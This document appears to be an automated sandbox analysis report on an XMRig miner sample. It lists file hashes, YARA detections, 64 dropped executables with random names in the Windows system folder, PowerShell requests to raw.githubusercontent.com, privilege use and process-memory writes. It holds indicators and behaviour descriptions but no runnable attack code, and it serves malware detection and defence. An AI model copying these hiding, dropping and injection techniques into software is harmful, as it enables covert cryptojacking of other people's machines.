xmrig | cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 23:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
Size

3.1MB
MD5

5147ce61220a3b643b6893632d30296b
SHA1

b07271994915a442a22d7ad797f14753b7fd2355
SHA256

cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8
SHA512

a70e681cf475390f8ef9b6f5755fb44de7ba95287b6b2057b42e30d2a034422b76dc1e64bb950b00e843240541d62db9c20cdfce60db03e2271bea1037d74ede
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWo:7bBeSFkU

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/2760-0-0x00007FF6CE2F0000-0x00007FF6CE6E6000-memory.dmp	xmrig
behavioral2/files/0x0008000000023c79-9.dat	xmrig
behavioral2/files/0x0007000000023c7e-17.dat	xmrig
behavioral2/files/0x0007000000023c80-24.dat	xmrig
behavioral2/files/0x0007000000023c7f-29.dat	xmrig
behavioral2/files/0x0007000000023c86-52.dat	xmrig
behavioral2/files/0x0007000000023c8c-110.dat	xmrig
behavioral2/files/0x0007000000023c91-135.dat	xmrig
behavioral2/files/0x0007000000023c94-152.dat	xmrig
behavioral2/memory/5084-937-0x00007FF7F9C70000-0x00007FF7FA066000-memory.dmp	xmrig
behavioral2/memory/2928-947-0x00007FF799840000-0x00007FF799C36000-memory.dmp	xmrig
behavioral2/memory/2316-952-0x00007FF7E8560000-0x00007FF7E8956000-memory.dmp	xmrig
behavioral2/memory/3000-960-0x00007FF670E60000-0x00007FF671256000-memory.dmp	xmrig
behavioral2/memory/2040-970-0x00007FF795380000-0x00007FF795776000-memory.dmp	xmrig
behavioral2/memory/2996-974-0x00007FF6F3820000-0x00007FF6F3C16000-memory.dmp	xmrig
behavioral2/memory/2568-982-0x00007FF6B0440000-0x00007FF6B0836000-memory.dmp	xmrig
behavioral2/memory/3484-988-0x00007FF7CAD60000-0x00007FF7CB156000-memory.dmp	xmrig
behavioral2/memory/1916-987-0x00007FF624DC0000-0x00007FF6251B6000-memory.dmp	xmrig
behavioral2/memory/1544-957-0x00007FF6EE6E0000-0x00007FF6EEAD6000-memory.dmp	xmrig
behavioral2/memory/1120-992-0x00007FF7B32C0000-0x00007FF7B36B6000-memory.dmp	xmrig
behavioral2/memory/3688-997-0x00007FF6EE840000-0x00007FF6EEC36000-memory.dmp	xmrig
behavioral2/memory/4444-1008-0x00007FF7575D0000-0x00007FF7579C6000-memory.dmp	xmrig
behavioral2/memory/2748-1000-0x00007FF614A10000-0x00007FF614E06000-memory.dmp	xmrig
behavioral2/memory/4372-1041-0x00007FF76DBD0000-0x00007FF76DFC6000-memory.dmp	xmrig
behavioral2/memory/4064-1035-0x00007FF67FCB0000-0x00007FF6800A6000-memory.dmp	xmrig
behavioral2/memory/412-1031-0x00007FF69DF60000-0x00007FF69E356000-memory.dmp	xmrig
behavioral2/memory/5052-1030-0x00007FF756530000-0x00007FF756926000-memory.dmp	xmrig
behavioral2/memory/1708-1026-0x00007FF619540000-0x00007FF619936000-memory.dmp	xmrig
behavioral2/files/0x0007000000023c9b-179.dat	xmrig
behavioral2/memory/1772-1061-0x00007FF6719F0000-0x00007FF671DE6000-memory.dmp	xmrig
behavioral2/memory/852-1078-0x00007FF7609D0000-0x00007FF760DC6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023c99-177.dat	xmrig
behavioral2/files/0x0007000000023c9a-174.dat	xmrig
behavioral2/files/0x0007000000023c98-172.dat	xmrig
behavioral2/files/0x0007000000023c97-167.dat	xmrig
behavioral2/files/0x0007000000023c96-162.dat	xmrig
behavioral2/files/0x0007000000023c95-157.dat	xmrig
behavioral2/files/0x0007000000023c93-147.dat	xmrig
behavioral2/files/0x0007000000023c92-142.dat	xmrig
behavioral2/files/0x0007000000023c90-130.dat	xmrig
behavioral2/files/0x0007000000023c8f-125.dat	xmrig
behavioral2/files/0x0007000000023c8e-119.dat	xmrig
behavioral2/files/0x0007000000023c8d-112.dat	xmrig
behavioral2/files/0x0007000000023c8b-105.dat	xmrig
behavioral2/files/0x0007000000023c8a-99.dat	xmrig
behavioral2/files/0x0007000000023c89-95.dat	xmrig
behavioral2/files/0x0008000000023c84-89.dat	xmrig
behavioral2/files/0x0008000000023c85-85.dat	xmrig
behavioral2/files/0x0008000000023c7a-79.dat	xmrig
behavioral2/files/0x0007000000023c88-77.dat	xmrig
behavioral2/files/0x0007000000023c87-73.dat	xmrig
behavioral2/files/0x0007000000023c82-65.dat	xmrig
behavioral2/memory/2012-61-0x00007FF6B2550000-0x00007FF6B2946000-memory.dmp	xmrig
behavioral2/files/0x0007000000023c83-53.dat	xmrig
behavioral2/memory/4624-49-0x00007FF760E30000-0x00007FF761226000-memory.dmp	xmrig
behavioral2/memory/1048-48-0x00007FF742460000-0x00007FF742856000-memory.dmp	xmrig
behavioral2/files/0x0007000000023c81-39.dat	xmrig
behavioral2/files/0x0007000000023c7d-15.dat	xmrig
behavioral2/memory/2760-1724-0x00007FF6CE2F0000-0x00007FF6CE6E6000-memory.dmp	xmrig
behavioral2/memory/412-2246-0x00007FF69DF60000-0x00007FF69E356000-memory.dmp	xmrig
behavioral2/memory/1048-2247-0x00007FF742460000-0x00007FF742856000-memory.dmp	xmrig
behavioral2/memory/4624-2248-0x00007FF760E30000-0x00007FF761226000-memory.dmp	xmrig
behavioral2/memory/5084-2250-0x00007FF7F9C70000-0x00007FF7FA066000-memory.dmp	xmrig
behavioral2/memory/4064-2249-0x00007FF67FCB0000-0x00007FF6800A6000-memory.dmp	xmrig

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	3008	powershell.exe
11	3008	powershell.exe
15	3008	powershell.exe
16	3008	powershell.exe
18	3008	powershell.exe
20	3008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3008	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
412	SSKPhkp.exe
1048	UrVTxXU.exe
4624	hQGvFPd.exe
2012	PAFbPYl.exe
5084	TudgGaT.exe
4064	oxUBeOY.exe
4372	YvSIOiW.exe
1772	PNurbxG.exe
2928	DYEfIni.exe
852	miiaSXn.exe
2316	lAbRVbO.exe
1544	RLtJMLk.exe
3000	FkMFjck.exe
2040	enmYCkr.exe
2996	NPyXZXy.exe
2568	QYtnBWR.exe
1916	ngiacgO.exe
3484	ixJZlLu.exe
1120	buvgpPK.exe
3688	jAgAMYJ.exe
2748	QcJpfQG.exe
4444	fnJMfAm.exe
1708	rPNbFAG.exe
5052	LdbJOYQ.exe
3076	nHoHToR.exe
2636	wwZSUrK.exe
4992	JElbzDc.exe
2596	hFpVHVl.exe
1576	iVbWvdi.exe
1584	QWqdjuO.exe
1884	BIJsWtz.exe
2028	CWPGiGQ.exe
3180	ScwXhZX.exe
1604	ezVdNZK.exe
4100	ypXCQAE.exe
1892	CFMqzww.exe
4468	VCjHtOm.exe
4816	EjcUtrP.exe
3388	CDVFTmI.exe
1900	ArfjwEn.exe
3764	IzEMCzM.exe
2084	ihOkrXy.exe
1796	eyUxosZ.exe
3464	KVhjbcz.exe
3028	rwfjUqX.exe
2688	vOaYAbA.exe
392	qbhguwK.exe
5064	isvsGbT.exe
5028	gHAKDgV.exe
4152	zIGvTCK.exe
1756	kHjorGM.exe
4880	cYJcsEO.exe
4368	CGFXczc.exe
3972	bXCPAAP.exe
4920	tyLeDZb.exe
2020	bSmZwYz.exe
5000	pTWPoix.exe
2164	ctzmzKq.exe
5056	JxodXDa.exe
3452	LrnNFwm.exe
4844	XErsyYH.exe
2428	Nwdjqhn.exe
1628	PmdGyZp.exe
3100	kVwzxKZ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
9	raw.githubusercontent.com

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2760-0-0x00007FF6CE2F0000-0x00007FF6CE6E6000-memory.dmp	upx
behavioral2/files/0x0008000000023c79-9.dat	upx
behavioral2/files/0x0007000000023c7e-17.dat	upx
behavioral2/files/0x0007000000023c80-24.dat	upx
behavioral2/files/0x0007000000023c7f-29.dat	upx
behavioral2/files/0x0007000000023c86-52.dat	upx
behavioral2/files/0x0007000000023c8c-110.dat	upx
behavioral2/files/0x0007000000023c91-135.dat	upx
behavioral2/files/0x0007000000023c94-152.dat	upx
behavioral2/memory/5084-937-0x00007FF7F9C70000-0x00007FF7FA066000-memory.dmp	upx
behavioral2/memory/2928-947-0x00007FF799840000-0x00007FF799C36000-memory.dmp	upx
behavioral2/memory/2316-952-0x00007FF7E8560000-0x00007FF7E8956000-memory.dmp	upx
behavioral2/memory/3000-960-0x00007FF670E60000-0x00007FF671256000-memory.dmp	upx
behavioral2/memory/2040-970-0x00007FF795380000-0x00007FF795776000-memory.dmp	upx
behavioral2/memory/2996-974-0x00007FF6F3820000-0x00007FF6F3C16000-memory.dmp	upx
behavioral2/memory/2568-982-0x00007FF6B0440000-0x00007FF6B0836000-memory.dmp	upx
behavioral2/memory/3484-988-0x00007FF7CAD60000-0x00007FF7CB156000-memory.dmp	upx
behavioral2/memory/1916-987-0x00007FF624DC0000-0x00007FF6251B6000-memory.dmp	upx
behavioral2/memory/1544-957-0x00007FF6EE6E0000-0x00007FF6EEAD6000-memory.dmp	upx
behavioral2/memory/1120-992-0x00007FF7B32C0000-0x00007FF7B36B6000-memory.dmp	upx
behavioral2/memory/3688-997-0x00007FF6EE840000-0x00007FF6EEC36000-memory.dmp	upx
behavioral2/memory/4444-1008-0x00007FF7575D0000-0x00007FF7579C6000-memory.dmp	upx
behavioral2/memory/2748-1000-0x00007FF614A10000-0x00007FF614E06000-memory.dmp	upx
behavioral2/memory/4372-1041-0x00007FF76DBD0000-0x00007FF76DFC6000-memory.dmp	upx
behavioral2/memory/4064-1035-0x00007FF67FCB0000-0x00007FF6800A6000-memory.dmp	upx
behavioral2/memory/412-1031-0x00007FF69DF60000-0x00007FF69E356000-memory.dmp	upx
behavioral2/memory/5052-1030-0x00007FF756530000-0x00007FF756926000-memory.dmp	upx
behavioral2/memory/1708-1026-0x00007FF619540000-0x00007FF619936000-memory.dmp	upx
behavioral2/files/0x0007000000023c9b-179.dat	upx
behavioral2/memory/1772-1061-0x00007FF6719F0000-0x00007FF671DE6000-memory.dmp	upx
behavioral2/memory/852-1078-0x00007FF7609D0000-0x00007FF760DC6000-memory.dmp	upx
behavioral2/files/0x0007000000023c99-177.dat	upx
behavioral2/files/0x0007000000023c9a-174.dat	upx
behavioral2/files/0x0007000000023c98-172.dat	upx
behavioral2/files/0x0007000000023c97-167.dat	upx
behavioral2/files/0x0007000000023c96-162.dat	upx
behavioral2/files/0x0007000000023c95-157.dat	upx
behavioral2/files/0x0007000000023c93-147.dat	upx
behavioral2/files/0x0007000000023c92-142.dat	upx
behavioral2/files/0x0007000000023c90-130.dat	upx
behavioral2/files/0x0007000000023c8f-125.dat	upx
behavioral2/files/0x0007000000023c8e-119.dat	upx
behavioral2/files/0x0007000000023c8d-112.dat	upx
behavioral2/files/0x0007000000023c8b-105.dat	upx
behavioral2/files/0x0007000000023c8a-99.dat	upx
behavioral2/files/0x0007000000023c89-95.dat	upx
behavioral2/files/0x0008000000023c84-89.dat	upx
behavioral2/files/0x0008000000023c85-85.dat	upx
behavioral2/files/0x0008000000023c7a-79.dat	upx
behavioral2/files/0x0007000000023c88-77.dat	upx
behavioral2/files/0x0007000000023c87-73.dat	upx
behavioral2/files/0x0007000000023c82-65.dat	upx
behavioral2/memory/2012-61-0x00007FF6B2550000-0x00007FF6B2946000-memory.dmp	upx
behavioral2/files/0x0007000000023c83-53.dat	upx
behavioral2/memory/4624-49-0x00007FF760E30000-0x00007FF761226000-memory.dmp	upx
behavioral2/memory/1048-48-0x00007FF742460000-0x00007FF742856000-memory.dmp	upx
behavioral2/files/0x0007000000023c81-39.dat	upx
behavioral2/files/0x0007000000023c7d-15.dat	upx
behavioral2/memory/2760-1724-0x00007FF6CE2F0000-0x00007FF6CE6E6000-memory.dmp	upx
behavioral2/memory/412-2246-0x00007FF69DF60000-0x00007FF69E356000-memory.dmp	upx
behavioral2/memory/1048-2247-0x00007FF742460000-0x00007FF742856000-memory.dmp	upx
behavioral2/memory/4624-2248-0x00007FF760E30000-0x00007FF761226000-memory.dmp	upx
behavioral2/memory/5084-2250-0x00007FF7F9C70000-0x00007FF7FA066000-memory.dmp	upx
behavioral2/memory/4064-2249-0x00007FF67FCB0000-0x00007FF6800A6000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\lAbRVbO.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\VDYmfcs.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\hmrVOuw.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\EUDPvVC.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\ctzmzKq.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\yMJunwg.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\TfcYVVD.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\gLUcphj.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\CEPRgmh.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\XKnbtDq.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\SuNiMDY.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\LjMeQMB.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\DBYMUwg.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\CBVxzbG.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\fjKCcWW.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\xiHZbAB.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\DYEfIni.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\jixOgQo.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\wuLOgYD.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\pImdeXv.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\UXmYOLg.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\FMROims.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\qsgecQx.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\AymfMiV.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\cjGBxAa.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\xyNIEKR.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\oTzhWii.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\vTkzPFF.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\xypqdrX.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\zwECOGN.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\UbXwYMy.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\PyXsHVl.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\LuRXGMj.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\PNurbxG.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\fnJMfAm.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\nOAJpOv.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\vhowiAN.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\MYBMxEn.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\gLPEDMy.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\bZkGuMk.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\pVTSnXS.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\kWPnayC.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\FKZpTca.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\eZLpxHL.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\CYgJDeP.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\AqpAmTE.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\JQgnGmY.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\NcCtwer.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\paXxLAd.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\rRMzqHj.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\vFMlkTB.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\kVwzxKZ.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\HobwBju.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\eNAKkVZ.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\HcIQAyx.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\RmgUWgx.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\xzYCgVJ.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\hxnDEHJ.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\QMdlMeg.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\ldZqwfT.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\qjVjrMz.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\oDipyWK.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\TwUvuUv.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
File created	C:\Windows\System\vOaYAbA.exe	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
Token: SeLockMemoryPrivilege	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe
Token: SeDebugPrivilege	3008	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 3008	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	84
PID 2760 wrote to memory of 3008	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	84
PID 2760 wrote to memory of 412	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	85
PID 2760 wrote to memory of 412	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	85
PID 2760 wrote to memory of 1048	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	86
PID 2760 wrote to memory of 1048	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	86
PID 2760 wrote to memory of 4624	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	87
PID 2760 wrote to memory of 4624	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	87
PID 2760 wrote to memory of 2012	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	88
PID 2760 wrote to memory of 2012	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	88
PID 2760 wrote to memory of 5084	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	89
PID 2760 wrote to memory of 5084	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	89
PID 2760 wrote to memory of 4064	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	90
PID 2760 wrote to memory of 4064	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	90
PID 2760 wrote to memory of 4372	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	91
PID 2760 wrote to memory of 4372	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	91
PID 2760 wrote to memory of 1772	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	92
PID 2760 wrote to memory of 1772	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	92
PID 2760 wrote to memory of 2928	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	93
PID 2760 wrote to memory of 2928	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	93
PID 2760 wrote to memory of 852	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	94
PID 2760 wrote to memory of 852	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	94
PID 2760 wrote to memory of 2316	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	95
PID 2760 wrote to memory of 2316	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	95
PID 2760 wrote to memory of 1544	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	96
PID 2760 wrote to memory of 1544	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	96
PID 2760 wrote to memory of 3000	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	97
PID 2760 wrote to memory of 3000	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	97
PID 2760 wrote to memory of 2040	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	98
PID 2760 wrote to memory of 2040	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	98
PID 2760 wrote to memory of 2996	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	99
PID 2760 wrote to memory of 2996	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	99
PID 2760 wrote to memory of 2568	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	100
PID 2760 wrote to memory of 2568	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	100
PID 2760 wrote to memory of 1916	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	101
PID 2760 wrote to memory of 1916	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	101
PID 2760 wrote to memory of 3484	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	102
PID 2760 wrote to memory of 3484	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	102
PID 2760 wrote to memory of 1120	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	103
PID 2760 wrote to memory of 1120	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	103
PID 2760 wrote to memory of 3688	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	104
PID 2760 wrote to memory of 3688	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	104
PID 2760 wrote to memory of 2748	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	105
PID 2760 wrote to memory of 2748	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	105
PID 2760 wrote to memory of 4444	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	106
PID 2760 wrote to memory of 4444	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	106
PID 2760 wrote to memory of 1708	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	107
PID 2760 wrote to memory of 1708	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	107
PID 2760 wrote to memory of 5052	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	108
PID 2760 wrote to memory of 5052	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	108
PID 2760 wrote to memory of 3076	2760	cb4f90a89d53c64ae56e341df5e8f312bf647b8944baa733ac8e076c5a8199e8.exe	109
